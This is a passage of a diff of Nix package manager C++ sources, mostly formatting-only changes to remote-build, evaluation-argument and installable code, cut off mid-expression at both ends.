(auto & m : machines) { debug("considering building on remote machine '%s'", m.storeUri.render()); - if (m.enabled && - m.systemSupported(neededSystem) && - m.allSupported(requiredFeatures) && - m.mandatoryMet(requiredFeatures)) - { + if (m.enabled && m.systemSupported(neededSystem) && m.allSupported(requiredFeatures) + && m.mandatoryMet(requiredFeatures)) { rightType = true; AutoCloseFD free; uint64_t load = 0; @@ -185,8 +186,7 @@ static int main_build_remote(int argc, char * * argv) if (!bestSlotLock) { if (rightType && !canBuildLocally) std::cerr << "# postpone\n"; - else - { + else { // build the hint template. std::string errorText = "Failed to find a machine for remote build!\n" @@ -205,16 +205,11 @@ static int main_build_remote(int argc, char * * argv) drvstr = ""; auto error = HintFmt::fromFormatString(errorText); - error - % drvstr - % neededSystem - % concatStringsSep(", ", requiredFeatures) + error % drvstr % neededSystem % concatStringsSep(", ", requiredFeatures) % machines.size(); for (auto & m : machines) - error - % concatStringsSep(", ", m.systemTypes) - % m.maxJobs + error % concatStringsSep(", ", m.systemTypes) % m.maxJobs % concatStringsSep(", ", m.supportedFeatures) % concatStringsSep(", ", m.mandatoryFeatures); @@ -242,9 +237,7 @@ static int main_build_remote(int argc, char * * argv) sshStore->connect(); } catch (std::exception & e) { auto msg = chomp(drainFD(5, false)); - printError("cannot build on '%s': %s%s", - storeUri, e.what(), - msg.empty() ? "" : ": " + msg); + printError("cannot build on '%s': %s%s", storeUri, e.what(), msg.empty() ? "" : ": " + msg); bestMachine->enabled = false; continue; } @@ -253,7 +246,7 @@ static int main_build_remote(int argc, char * * argv) } } -connected: + connected: close(5); assert(sshStore); @@ -265,13 +258,14 @@ connected: AutoCloseFD uploadLock; { - auto setUpdateLock = [&](auto && fileName){ + auto setUpdateLock = [&](auto && fileName) { uploadLock = openLockFile(currentLoad + "/" + escapeUri(fileName) + ".upload-lock", true); }; try { setUpdateLock(storeUri); } catch (SysError & e) { - if (e.errNo != ENAMETOOLONG) throw; + if (e.errNo != ENAMETOOLONG) + throw; // Try again hashing the store URL so we have a shorter path auto h = hashString(HashAlgorithm::MD5, storeUri); setUpdateLock(h.to_string(HashFormat::Base64, false)); @@ -315,7 +309,7 @@ connected: // // This condition mirrors that: that code enforces the "rules" outlined there; // we do the best we can given those "rules". - if (trustedOrLegacy || drv.type().isCA()) { + if (trustedOrLegacy || drv.type().isCA()) { // Hijack the inputs paths of the derivation to include all // the paths that come from the `inputDrvs` set. We don’t do // that for the derivations whose `inputDrvs` is empty @@ -330,28 +324,26 @@ connected: optResult = sshStore->buildDerivation(*drvPath, (const BasicDerivation &) drv); auto & result = *optResult; if (!result.success()) - throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg); + throw Error( + "build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg); } else { - copyClosure(*store, *sshStore, StorePathSet {*drvPath}, NoRepair, NoCheckSigs, substitute); - auto res = sshStore->buildPathsWithResults({ - DerivedPath::Built { - .drvPath = makeConstantStorePathRef(*drvPath), - .outputs = OutputsSpec::All {}, - } - }); + copyClosure(*store, *sshStore, StorePathSet{*drvPath}, NoRepair, NoCheckSigs, substitute); + auto res = sshStore->buildPathsWithResults({DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All{}, + }}); // One path to build should produce exactly one build result assert(res.size() == 1); optResult = std::move(res[0]); } - auto outputHashes = staticOutputHashes(*store, drv); std::set missingRealisations; StorePathSet missingPaths; if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations) && !drv.type().hasKnownOutputPaths()) { for (auto & outputName : wantedOutputs) { auto thisOutputHash = outputHashes.at(outputName); - auto thisOutputId = DrvOutput{ thisOutputHash, outputName }; + auto thisOutputId = DrvOutput{thisOutputHash, outputName}; if (!store->queryRealisation(thisOutputId)) { debug("missing output %s", outputName); assert(optResult); diff --git a/src/libcmd/built-path.cc b/src/libcmd/built-path.cc index 1238f9422..8238f226e 100644 --- a/src/libcmd/built-path.cc +++ b/src/libcmd/built-path.cc @@ -10,23 +10,13 @@ namespace nix { // Custom implementation to avoid `ref` ptr equality -GENERATE_CMP_EXT( - , - std::strong_ordering, - SingleBuiltPathBuilt, - *me->drvPath, - me->output); +GENERATE_CMP_EXT(, std::strong_ordering, SingleBuiltPathBuilt, *me->drvPath, me->output); // Custom implementation to avoid `ref` ptr equality // TODO no `GENERATE_CMP_EXT` because no `std::set::operator<=>` on // Darwin, per header. -GENERATE_EQUAL( - , - BuiltPathBuilt ::, - BuiltPathBuilt, - *me->drvPath, - me->outputs); +GENERATE_EQUAL(, BuiltPathBuilt ::, BuiltPathBuilt, *me->drvPath, me->outputs); StorePath SingleBuiltPath::outPath() const { @@ -34,8 +24,8 @@ StorePath SingleBuiltPath::outPath() const overloaded{ [](const SingleBuiltPath::Opaque & p) { return p.path; }, [](const SingleBuiltPath::Built & b) { return b.output.second; }, - }, raw() - ); + }, + raw()); } StorePathSet BuiltPath::outPaths() const @@ -49,13 +39,13 @@ StorePathSet BuiltPath::outPaths() const res.insert(path); return res; }, - }, raw() - ); + }, + raw()); } SingleDerivedPath::Built SingleBuiltPath::Built::discardOutputPath() const { - return SingleDerivedPath::Built { + return SingleDerivedPath::Built{ .drvPath = make_ref(drvPath->discardOutputPath()), .output = output.first, }; @@ -65,14 +55,10 @@ SingleDerivedPath SingleBuiltPath::discardOutputPath() const { return std::visit( overloaded{ - [](const SingleBuiltPath::Opaque & p) -> SingleDerivedPath { - return p; - }, - [](const SingleBuiltPath::Built & b) -> SingleDerivedPath { - return b.discardOutputPath(); - }, - }, raw() - ); + [](const SingleBuiltPath::Opaque & p) -> SingleDerivedPath { return p; }, + [](const SingleBuiltPath::Built & b) -> SingleDerivedPath { return b.discardOutputPath(); }, + }, + raw()); } nlohmann::json BuiltPath::Built::toJSON(const StoreDirConfig & store) const @@ -97,16 +83,12 @@ nlohmann::json SingleBuiltPath::Built::toJSON(const StoreDirConfig & store) cons nlohmann::json SingleBuiltPath::toJSON(const StoreDirConfig & store) const { - return std::visit([&](const auto & buildable) { - return buildable.toJSON(store); - }, raw()); + return std::visit([&](const auto & buildable) { return buildable.toJSON(store); }, raw()); } nlohmann::json BuiltPath::toJSON(const StoreDirConfig & store) const { - return std::visit([&](const auto & buildable) { - return buildable.toJSON(store); - }, raw()); + return std::visit([&](const auto & buildable) { return buildable.toJSON(store); }, raw()); } RealisedPath::Set BuiltPath::toRealisedPaths(Store & store) const @@ -116,20 +98,18 @@ RealisedPath::Set BuiltPath::toRealisedPaths(Store & store) const overloaded{ [&](const BuiltPath::Opaque & p) { res.insert(p.path); }, [&](const BuiltPath::Built & p) { - auto drvHashes = - staticOutputHashes(store, store.readDerivation(p.drvPath->outPath())); - for (auto& [outputName, outputPath] : p.outputs) { - if (experimentalFeatureSettings.isEnabled( - Xp::CaDerivations)) { + auto drvHashes = staticOutputHashes(store, store.readDerivation(p.drvPath->outPath())); + for (auto & [outputName, outputPath] : p.outputs) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { auto drvOutput = get(drvHashes, outputName); if (!drvOutput) throw Error( "the derivation '%s' has unrealised output '%s' (derived-path.cc/toRealisedPaths)", - store.printStorePath(p.drvPath->outPath()), outputName); - auto thisRealisation = store.queryRealisation( - DrvOutput{*drvOutput, outputName}); - assert(thisRealisation); // We’ve built it, so we must - // have the realisation + store.printStorePath(p.drvPath->outPath()), + outputName); + auto thisRealisation = store.queryRealisation(DrvOutput{*drvOutput, outputName}); + assert(thisRealisation); // We’ve built it, so we must + // have the realisation res.insert(*thisRealisation); } else { res.insert(outputPath); diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 1c7c70a30..2e368e661 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -18,13 +18,15 @@ namespace nix { -namespace fs { using namespace std::filesystem; } +namespace fs { +using namespace std::filesystem; +} fetchers::Settings fetchSettings; static GlobalConfig::Register rFetchSettings(&fetchSettings); -EvalSettings evalSettings { +EvalSettings evalSettings{ settings.readOnlyMode, { { @@ -32,10 +34,11 @@ EvalSettings evalSettings { [](EvalState & state, std::string_view rest) { experimentalFeatureSettings.require(Xp::Flakes); // FIXME `parseFlakeRef` should take a `std::string_view`. - auto flakeRef = parseFlakeRef(fetchSettings, std::string { rest }, {}, true, false); + auto flakeRef = parseFlakeRef(fetchSettings, std::string{rest}, {}, true, false); debug("fetching flake search path element '%s''", rest); auto [accessor, lockedRef] = flakeRef.resolve(state.store).lazyFetch(state.store); - auto storePath = nix::fetchToStore(*state.store, SourcePath(accessor), FetchMode::Copy, lockedRef.input.getName()); + auto storePath = + nix::fetchToStore(*state.store, SourcePath(accessor), FetchMode::Copy, lockedRef.input.getName()); state.allowPath(storePath); return state.storePath(storePath); }, @@ -45,17 +48,14 @@ EvalSettings evalSettings { static GlobalConfig::Register rEvalSettings(&evalSettings); - flake::Settings flakeSettings; static GlobalConfig::Register rFlakeSettings(&flakeSettings); - -CompatibilitySettings compatibilitySettings {}; +CompatibilitySettings compatibilitySettings{}; static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings); - MixEvalArgs::MixEvalArgs() { addFlag({ @@ -63,7 +63,9 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the value *expr* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "expr"}, - .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr{expr}}); }}, + .handler = {[&](std::string name, std::string expr) { + autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr{expr}}); + }}, }); addFlag({ @@ -71,7 +73,9 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the string *string* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "string"}, - .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString{s}}); }}, + .handler = {[&](std::string name, std::string s) { + autoArgs.insert_or_assign(name, AutoArg{AutoArgString{s}}); + }}, }); addFlag({ @@ -79,7 +83,9 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the contents of file *path* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "path"}, - .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile{path}}); }}, + .handler = {[&](std::string name, std::string path) { + autoArgs.insert_or_assign(name, AutoArg{AutoArgFile{path}}); + }}, .completer = completePath, }); @@ -103,18 +109,14 @@ MixEvalArgs::MixEvalArgs() )", .category = category, .labels = {"path"}, - .handler = {[&](std::string s) { - lookupPath.elements.emplace_back(LookupPath::Elem::parse(s)); - }}, + .handler = {[&](std::string s) { lookupPath.elements.emplace_back(LookupPath::Elem::parse(s)); }}, }); addFlag({ .longName = "impure", .description = "Allow access to mutable paths and repositories.", .category = category, - .handler = {[&]() { - evalSettings.pureEval = false; - }}, + .handler = {[&]() { evalSettings.pureEval = false; }}, }); addFlag({ @@ -126,7 +128,8 @@ MixEvalArgs::MixEvalArgs() auto from = parseFlakeRef(fetchSettings, _from, fs::current_path().string()); auto to = parseFlakeRef(fetchSettings, _to, fs::current_path().string()); fetchers::Attrs extraAttrs; - if (to.subdir != "") extraAttrs["dir"] = to.subdir; + if (to.subdir != "") + extraAttrs["dir"] = to.subdir; fetchers::overrideRegistry(from.input, to.input, extraAttrs); }}, .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { @@ -137,7 +140,7 @@ MixEvalArgs::MixEvalArgs() addFlag({ .longName = "eval-store", .description = - R"( + R"( The [URL of the Nix store](@docroot@/store/types/index.md#store-url-format) to use for evaluation, i.e. to store derivations (`.drv` files) and inputs referenced by them. )", @@ -152,20 +155,21 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) auto res = state.buildBindings(autoArgs.size()); for (auto & [name, arg] : autoArgs) { auto v = state.allocValue(); - std::visit(overloaded { - [&](const AutoArgExpr & arg) { - state.mkThunk_(*v, state.parseExprFromString(arg.expr, compatibilitySettings.nixShellShebangArgumentsRelativeToScript ? state.rootPath(absPath(getCommandBaseDir())) : state.rootPath("."))); - }, - [&](const AutoArgString & arg) { - v->mkString(arg.s); - }, - [&](const AutoArgFile & arg) { - v->mkString(readFile(arg.path.string())); - }, - [&](const AutoArgStdin & arg) { - v->mkString(readFile(STDIN_FILENO)); - } - }, arg); + std::visit( + overloaded{ + [&](const AutoArgExpr & arg) { + state.mkThunk_( + *v, + state.parseExprFromString( + arg.expr, + compatibilitySettings.nixShellShebangArgumentsRelativeToScript + ? state.rootPath(absPath(getCommandBaseDir())) + : state.rootPath("."))); + }, + [&](const AutoArgString & arg) { v->mkString(arg.s); }, + [&](const AutoArgFile & arg) { v->mkString(readFile(arg.path.string())); }, + [&](const AutoArgStdin & arg) { v->mkString(readFile(STDIN_FILENO)); }}, + arg); res.insert(state.symbols.create(name), v); } return res.finish(); @@ -174,10 +178,7 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir) { if (EvalSettings::isPseudoUrl(s)) { - auto accessor = fetchers::downloadTarball( - state.store, - state.fetchSettings, - EvalSettings::resolvePseudoUrl(s)); + auto accessor = fetchers::downloadTarball(state.store, state.fetchSettings, EvalSettings::resolvePseudoUrl(s)); auto storePath = fetchToStore(*state.store, SourcePath(accessor), FetchMode::Copy); return state.storePath(storePath); } @@ -186,7 +187,8 @@ SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * bas experimentalFeatureSettings.require(Xp::Flakes); auto flakeRef = parseFlakeRef(fetchSettings, std::string(s.substr(6)), {}, true, false); auto [accessor, lockedRef] = flakeRef.resolve(state.store).lazyFetch(state.store); - auto storePath = nix::fetchToStore(*state.store, SourcePath(accessor), FetchMode::Copy, lockedRef.input.getName()); + auto storePath = + nix::fetchToStore(*state.store, SourcePath(accessor), FetchMode::Copy, lockedRef.input.getName()); state.allowPath(storePath); return state.storePath(storePath); } diff --git a/src/libcmd/editor-for.cc b/src/libcmd/editor-for.cc index a5d635859..b5f52d72d 100644 --- a/src/libcmd/editor-for.cc +++ b/src/libcmd/editor-for.cc @@ -11,11 +11,9 @@ Strings editorFor(const SourcePath & file, uint32_t line) throw Error("cannot open '%s' in an editor because it has no physical path", file); auto editor = getEnv("EDITOR").value_or("cat"); auto args = tokenizeString(editor); - if (line > 0 && ( - editor.find("emacs") != std::string::npos || - editor.find("nano") != std::string::npos || - editor.find("vim") != std::string::npos || - editor.find("kak") != std::string::npos)) + if (line > 0 + && (editor.find("emacs") != std::string::npos || editor.find("nano") != std::string::npos + || editor.find("vim") != std::string::npos || editor.find("kak") != std::string::npos)) args.push_back(fmt("+%d", line)); args.push_back(path->string()); return args; diff --git a/src/libcmd/include/nix/cmd/built-path.hh b/src/libcmd/include/nix/cmd/built-path.hh index c885876a7..e05c48b02 100644 --- a/src/libcmd/include/nix/cmd/built-path.hh +++ b/src/libcmd/include/nix/cmd/built-path.hh @@ -8,7 +8,8 @@ namespace nix { struct SingleBuiltPath; -struct SingleBuiltPathBuilt { +struct SingleBuiltPathBuilt +{ ref drvPath; std::pair output; @@ -18,26 +19,25 @@ struct SingleBuiltPathBuilt { static SingleBuiltPathBuilt parse(const StoreDirConfig & store, std::string_view, std::string_view); nlohmann::json toJSON(const StoreDirConfig & store) const; - bool operator ==(const SingleBuiltPathBuilt &) const noexcept; - std::strong_ordering operator <=>(const SingleBuiltPathBuilt &) const noexcept; + bool operator==(const SingleBuiltPathBuilt &) const noexcept; + std::strong_ordering operator<=>(const SingleBuiltPathBuilt &) const noexcept; }; -using _SingleBuiltPathRaw = std::variant< - DerivedPathOpaque, - SingleBuiltPathBuilt ->; +using _SingleBuiltPathRaw = std::variant; -struct SingleBuiltPath : _SingleBuiltPathRaw { +struct SingleBuiltPath : _SingleBuiltPathRaw +{ using Raw = _SingleBuiltPathRaw; using Raw::Raw; using Opaque = DerivedPathOpaque; using Built = SingleBuiltPathBuilt; - bool operator == (const SingleBuiltPath &) const = default; - auto operator <=> (const SingleBuiltPath &) const = default; + bool operator==(const SingleBuiltPath &) const = default; + auto operator<=>(const SingleBuiltPath &) const = default; - inline const Raw & raw() const { + inline const Raw & raw() const + { return static_cast(*this); } @@ -51,7 +51,7 @@ struct SingleBuiltPath : _SingleBuiltPathRaw { static inline ref staticDrv(StorePath drvPath) { - return make_ref(SingleBuiltPath::Opaque { drvPath }); + return make_ref(SingleBuiltPath::Opaque{drvPath}); } /** @@ -59,40 +59,40 @@ static inline ref staticDrv(StorePath drvPath) * * See 'BuiltPath' for more an explanation. */ -struct BuiltPathBuilt { +struct BuiltPathBuilt +{ ref drvPath; std::map outputs; - bool operator == (const BuiltPathBuilt &) const noexcept; + bool operator==(const BuiltPathBuilt &) const noexcept; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //std::strong_ordering operator <=> (const BuiltPathBuilt &) const noexcept; + // std::strong_ordering operator <=> (const BuiltPathBuilt &) const noexcept; std::string to_string(const StoreDirConfig & store) const; static BuiltPathBuilt parse(const StoreDirConfig & store, std::string_view, std::string_view); nlohmann::json toJSON(const StoreDirConfig & store) const; }; -using _BuiltPathRaw = std::variant< - DerivedPath::Opaque, - BuiltPathBuilt ->; +using _BuiltPathRaw = std::variant; /** * A built path. Similar to a DerivedPath, but enriched with the corresponding * output path(s). */ -struct BuiltPath : _BuiltPathRaw { +struct BuiltPath : _BuiltPathRaw +{ using Raw = _BuiltPathRaw; using Raw::Raw; using Opaque = DerivedPathOpaque; using Built = BuiltPathBuilt; - bool operator == (const BuiltPath &) const = default; + bool operator==(const BuiltPath &) const = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - //auto operator <=> (const BuiltPath &) const = default; + // auto operator <=> (const BuiltPath &) const = default; - inline const Raw & raw() const { + inline const Raw & raw() const + { return static_cast(*this); } diff --git a/src/libcmd/include/nix/cmd/common-eval-args.hh b/src/libcmd/include/nix/cmd/common-eval-args.hh index 6f3367e58..34dfc3163 100644 --- a/src/libcmd/include/nix/cmd/common-eval-args.hh +++ b/src/libcmd/include/nix/cmd/common-eval-args.hh @@ -12,7 +12,9 @@ namespace nix { class Store; -namespace fetchers { struct Settings; } +namespace fetchers { +struct Settings; +} class EvalState; struct EvalSettings; @@ -20,7 +22,9 @@ struct CompatibilitySettings; class Bindings; struct SourcePath; -namespace flake { struct Settings; } +namespace flake { +struct Settings; +} /** * @todo Get rid of global setttings variables @@ -55,10 +59,20 @@ struct MixEvalArgs : virtual Args, virtual MixRepair std::optional evalStoreUrl; private: - struct AutoArgExpr { std::string expr; }; - struct AutoArgString { std::string s; }; - struct AutoArgFile { std::filesystem::path path; }; - struct AutoArgStdin { }; + struct AutoArgExpr + { + std::string expr; + }; + struct AutoArgString + { + std::string s; + }; + struct AutoArgFile + { + std::filesystem::path path; + }; + struct AutoArgStdin + {}; using AutoArg = std::variant; diff --git a/src/libcmd/include/nix/cmd/installable-attr-path.hh b/src/libcmd/include/nix/cmd/installable-attr-path.hh index 5a0dc993c..8a16cd361 100644 --- a/src/libcmd/include/nix/cmd/installable-attr-path.hh +++ b/src/libcmd/include/nix/cmd/installable-attr-path.hh @@ -39,7 +39,10 @@ class InstallableAttrPath : public InstallableValue const std::string & attrPath, ExtendedOutputsSpec extendedOutputsSpec); - std::string what() const override { return attrPath; }; + std::string what() const override + { + return attrPath; + }; std::pair toValue(EvalState & state) override; diff --git a/src/libcmd/include/nix/cmd/installable-derived-path.hh b/src/libcmd/include/nix/cmd/installable-derived-path.hh index daa6ba868..8b2a87a21 100644 --- a/src/libcmd/include/nix/cmd/installable-derived-path.hh +++ b/src/libcmd/include/nix/cmd/installable-derived-path.hh @@ -11,8 +11,10 @@ struct InstallableDerivedPath : Installable DerivedPath derivedPath; InstallableDerivedPath(ref store, DerivedPath && derivedPath) - : store(store), derivedPath(std::move(derivedPath)) - { } + : store(store) + , derivedPath(std::move(derivedPath)) + { + } std::string what() const override; @@ -20,10 +22,8 @@ struct InstallableDerivedPath : Installable std::optional getStorePath() override; - static InstallableDerivedPath parse( - ref store, - std::string_view prefix, - ExtendedOutputsSpec extendedOutputsSpec); + static InstallableDerivedPath + parse(ref store, std::string_view prefix, ExtendedOutputsSpec extendedOutputsSpec); }; } diff --git a/src/libcmd/include/nix/cmd/installable-flake.hh b/src/libcmd/include/nix/cmd/installable-flake.hh index 8699031b5..cab47b6e2 100644 --- a/src/libcmd/include/nix/cmd/installable-flake.hh +++ b/src/libcmd/include/nix/cmd/installable-flake.hh @@ -18,7 +18,8 @@ struct ExtraPathInfoFlake : ExtraPathInfoValue /** * Extra struct to get around C++ designated initializer limitations */ - struct Flake { + struct Flake + { FlakeRef originalRef; FlakeRef lockedRef; }; @@ -26,8 +27,10 @@ struct ExtraPathInfoFlake : ExtraPathInfoValue Flake flake; ExtraPathInfoFlake(Value && v, Flake && f) - : ExtraPathInfoValue(std::move(v)), flake(std::move(f)) - { } + : ExtraPathInfoValue(std::move(v)) + , flake(std::move(f)) + { + } }; struct InstallableFlake : InstallableValue @@ -49,7 +52,10 @@ struct InstallableFlake : InstallableValue Strings prefixes, const flake::LockFlags & lockFlags); - std::string what() const override { return flakeRef.to_string() + "#" + *attrPaths.begin(); } + std::string what() const override + { + return flakeRef.to_string() + "#" + *attrPaths.begin(); + } std::vector getActualAttrPaths(); @@ -61,8 +67,7 @@ struct InstallableFlake : InstallableValue * Get a cursor to every attrpath in getActualAttrPaths() that * exists. However if none exists, throw an exception. */ - std::vector> - getCursors(EvalState & state) override; + std::vector> getCursors(EvalState & state) override; std::shared_ptr getLockedFlake() const; @@ -79,11 +84,9 @@ struct InstallableFlake : InstallableValue */ static inline FlakeRef defaultNixpkgsFlakeRef() { - return FlakeRef::fromAttrs(fetchSettings, {{"type","indirect"}, {"id", "nixpkgs"}}); + return FlakeRef::fromAttrs(fetchSettings, {{"type", "indirect"}, {"id", "nixpkgs"}}); } -ref openEvalCache( - EvalState & state, - std::shared_ptr lockedFlake); +ref openEvalCache(EvalState & state, std::shared_ptr lockedFlake); } diff --git a/src/libcmd/include/nix/cmd/installable-value.hh b/src/libcmd/include/nix/cmd/installable-value.hh index 9c8f1a9fb..9b3c47b89 100644 --- a/src/libcmd/include/nix/cmd/installable-value.hh +++ b/src/libcmd/include/nix/cmd/installable-value.hh @@ -9,7 +9,10 @@ namespace nix { struct PackageInfo; struct SourceExprCommand; -namespace eval_cache { class EvalCache; class AttrCursor; } +namespace eval_cache { +class EvalCache; +class AttrCursor; +} struct App { @@ -36,7 +39,8 @@ struct ExtraPathInfoValue : ExtraPathInfo /** * Extra struct to get around C++ designated initializer limitations */ - struct Value { + struct Value + { /** * An optional priority for use with "build envs". See Package */ @@ -60,7 +64,8 @@ struct ExtraPathInfoValue : ExtraPathInfo ExtraPathInfoValue(Value && v) : value(std::move(v)) - { } + { + } virtual ~ExtraPathInfoValue() = default; }; @@ -73,9 +78,12 @@ struct InstallableValue : Installable { ref state; - InstallableValue(ref state) : state(state) {} + InstallableValue(ref state) + : state(state) + { + } - virtual ~InstallableValue() { } + virtual ~InstallableValue() {} virtual std::pair toValue(EvalState & state) = 0; @@ -84,15 +92,13 @@ struct InstallableValue : Installable * However if none exists, throw exception instead of returning * empty vector. */ - virtual std::vector> - getCursors(EvalState & state); + virtual std::vector> getCursors(EvalState & state); /** * Get the first and most preferred cursor this Installable could * refer to, or throw an exception if none exists. */ - virtual ref - getCursor(EvalState & state); + virtual ref getCursor(EvalState & state); UnresolvedApp toApp(EvalState & state); @@ -115,7 +121,8 @@ protected: * @result A derived path (with empty info, for now) if the value * matched the above criteria. */ - std::optional trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx); + std::optional + trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx); }; } diff --git a/src/libcmd/include/nix/cmd/installables.hh b/src/libcmd/include/nix/cmd/installables.hh index 84941278a..4497d618d 100644 --- a/src/libcmd/include/nix/cmd/installables.hh +++ b/src/libcmd/include/nix/cmd/installables.hh @@ -112,7 +112,7 @@ typedef std::vector> Installables; */ struct Installable { - virtual ~Installable() { } + virtual ~Installable() {} /** * What Installable is this? @@ -168,37 +168,19 @@ struct Installable BuildMode bMode = bmNormal); static std::set toStorePathSet( - ref evalStore, - ref store, - Realise mode, - OperateOn operateOn, - const Installables & installables); + ref evalStore, ref store, Realise mode, OperateOn operateOn, const Installables & installables); static std::vector toStorePaths( - ref evalStore, - ref store, - Realise mode, - OperateOn operateOn, - const Installables & installables); + ref evalStore, ref store, Realise mode, OperateOn operateOn, const Installables & installables); static StorePath toStorePath( - ref evalStore, - ref store, - Realise mode, - OperateOn operateOn, - ref installable); + ref evalStore, ref store, Realise mode, OperateOn operateOn, ref installable); - static std::set toDerivations( - ref store, - const Installables & installables, - bool useDeriver = false); + static std::set + toDerivations(ref store, const Installables & installables, bool useDeriver = false); static BuiltPaths toBuiltPaths( - ref evalStore, - ref store, - Realise mode, - OperateOn operateOn, - const Installables & installables); + ref evalStore, ref store, Realise mode, OperateOn operateOn, const Installables & installables); }; } diff --git a/src/libcmd/include/nix/cmd/legacy.hh b/src/libcmd/include/nix/cmd/legacy.hh index 357500a4d..bf6d7d119 100644 --- a/src/libcmd/include/nix/cmd/legacy.hh +++ b/src/libcmd/include/nix/cmd/legacy.hh @@ -7,7 +7,7 @@ namespace nix { -typedef std::function MainFunction; +typedef std::function MainFunction; struct RegisterLegacyCommand { @@ -16,7 +16,8 @@ struct RegisterLegacyCommand RegisterLegacyCommand(const std::string & name, MainFunction fun) { - if (!commands) commands = new Commands; + if (!commands) + commands = new Commands; (*commands)[name] = fun; } }; diff --git a/src/libcmd/include/nix/cmd/repl-interacter.hh b/src/libcmd/include/nix/cmd/repl-interacter.hh index eb58563b2..ca3665084 100644 --- a/src/libcmd/include/nix/cmd/repl-interacter.hh +++ b/src/libcmd/include/nix/cmd/repl-interacter.hh @@ -11,7 +11,8 @@ namespace nix { namespace detail { /** Provides the completion hooks for the repl, without exposing its complete * internals. */ -struct ReplCompleterMixin { +struct ReplCompleterMixin +{ virtual StringSet completePrefix(const std::string & prefix) = 0; }; }; @@ -29,7 +30,7 @@ public: virtual Guard init(detail::ReplCompleterMixin * repl) = 0; /** Returns a boolean of whether the interacter got EOF */ virtual bool getLine(std::string & input, ReplPromptType promptType) = 0; - virtual ~ReplInteracter(){}; + virtual ~ReplInteracter() {}; }; class ReadlineLikeInteracter : public virtual ReplInteracter diff --git a/src/libcmd/include/nix/cmd/repl.hh b/src/libcmd/include/nix/cmd/repl.hh index 83e39727f..ff0565f69 100644 --- a/src/libcmd/include/nix/cmd/repl.hh +++ b/src/libcmd/include/nix/cmd/repl.hh @@ -12,12 +12,12 @@ struct AbstractNixRepl AbstractNixRepl(ref state) : state(state) - { } + { + } - virtual ~AbstractNixRepl() - { } + virtual ~AbstractNixRepl() {} - typedef std::vector> AnnotatedValues; + typedef std::vector> AnnotatedValues; using RunNix = void(Path program, const Strings & args, const std::optional & input); @@ -33,9 +33,7 @@ struct AbstractNixRepl std::function getValues, RunNix * runNix = nullptr); - static ReplExitStatus runSimple( - ref evalState, - const ValMap & extraEnv); + static ReplExitStatus runSimple(ref evalState, const ValMap & extraEnv); virtual void initEnv() = 0; diff --git a/src/libcmd/installable-attr-path.cc b/src/libcmd/installable-attr-path.cc index fcbfe1482..f9dedc1ad 100644 --- a/src/libcmd/installable-attr-path.cc +++ b/src/libcmd/installable-attr-path.cc @@ -35,7 +35,8 @@ InstallableAttrPath::InstallableAttrPath( , v(allocRootValue(v)) , attrPath(attrPath) , extendedOutputsSpec(std::move(extendedOutputsSpec)) -{ } +{ +} std::pair InstallableAttrPath::toValue(EvalState & state) { @@ -48,12 +49,9 @@ DerivedPathsWithInfo InstallableAttrPath::toDerivedPaths() { auto [v, pos] = toValue(*state); - if (std::optional derivedPathWithInfo = trySinglePathToDerivedPaths( - *v, - pos, - fmt("while evaluating the attribute '%s'", attrPath))) - { - return { *derivedPathWithInfo }; + if (std::optional derivedPathWithInfo = + trySinglePathToDerivedPaths(*v, pos, fmt("while evaluating the attribute '%s'", attrPath))) { + return {*derivedPathWithInfo}; } Bindings & autoArgs = *cmd.getAutoArgs(*state); @@ -70,19 +68,19 @@ DerivedPathsWithInfo InstallableAttrPath::toDerivedPaths() if (!drvPath) throw Error("'%s' is not a derivation", what()); - auto newOutputs = std::visit(overloaded { - [&](const ExtendedOutputsSpec::Default & d) -> OutputsSpec { - std::set outputsToInstall; - for (auto & output : packageInfo.queryOutputs(false, true)) - outputsToInstall.insert(output.first); - if (outputsToInstall.empty()) - outputsToInstall.insert("out"); - return OutputsSpec::Names { std::move(outputsToInstall) }; + auto newOutputs = std::visit( + overloaded{ + [&](const ExtendedOutputsSpec::Default & d) -> OutputsSpec { + std::set outputsToInstall; + for (auto & output : packageInfo.queryOutputs(false, true)) + outputsToInstall.insert(output.first); + if (outputsToInstall.empty()) + outputsToInstall.insert("out"); + return OutputsSpec::Names{std::move(outputsToInstall)}; + }, + [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { return e; }, }, - [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { - return e; - }, - }, extendedOutputsSpec.raw); + extendedOutputsSpec.raw); auto [iter, didInsert] = byDrvPath.emplace(*drvPath, newOutputs); @@ -93,11 +91,12 @@ DerivedPathsWithInfo InstallableAttrPath::toDerivedPaths() DerivedPathsWithInfo res; for (auto & [drvPath, outputs] : byDrvPath) res.push_back({ - .path = DerivedPath::Built { - .drvPath = makeConstantStorePathRef(drvPath), - .outputs = outputs, - }, - .info = make_ref(ExtraPathInfoValue::Value { + .path = + 